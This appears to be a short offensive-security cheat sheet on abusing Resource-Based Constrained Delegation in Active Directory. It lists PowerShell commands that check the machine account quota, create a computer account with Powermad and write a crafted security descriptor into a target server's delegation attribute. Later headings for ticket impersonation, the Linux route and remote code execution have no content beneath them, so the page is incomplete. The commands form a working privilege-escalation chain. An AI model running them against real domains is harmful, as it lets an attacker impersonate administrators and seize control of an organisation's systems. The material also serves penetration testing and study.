Resource Based Constrained Delegation
Abuse by Windows System
Enumerating ms-DS-MachineAccountQuota
PS C:\> Get-DomainObject -Identity prod -Properties ms-DS-MachineAccountQuota Creating computer account with Powermad
PS C:\Tools> . .\powermad.ps1
PS C:\Tools> New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
[+] Machine account myComputer addedPS C:\> Get-DomainComputer -Identity myComputerCreating a new SecurityDescriptor
PS C:\> $sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
PS C:\> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
PS C:\tools> $SDbytes = New-Object byte[] ($SD.BinaryLength)
PS C:\tools> $SD.GetBinaryForm($SDbytes,0)
PS C:\tools> Get-DomainComputer -Identity appsrv | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Using S4U extension to request a TGS for appsrv
Abuse by Linux System
Adding Computer
Adding delegation permissions to AppSRV
Impersonating the Domain administrator
Remote Code Execution
Last updated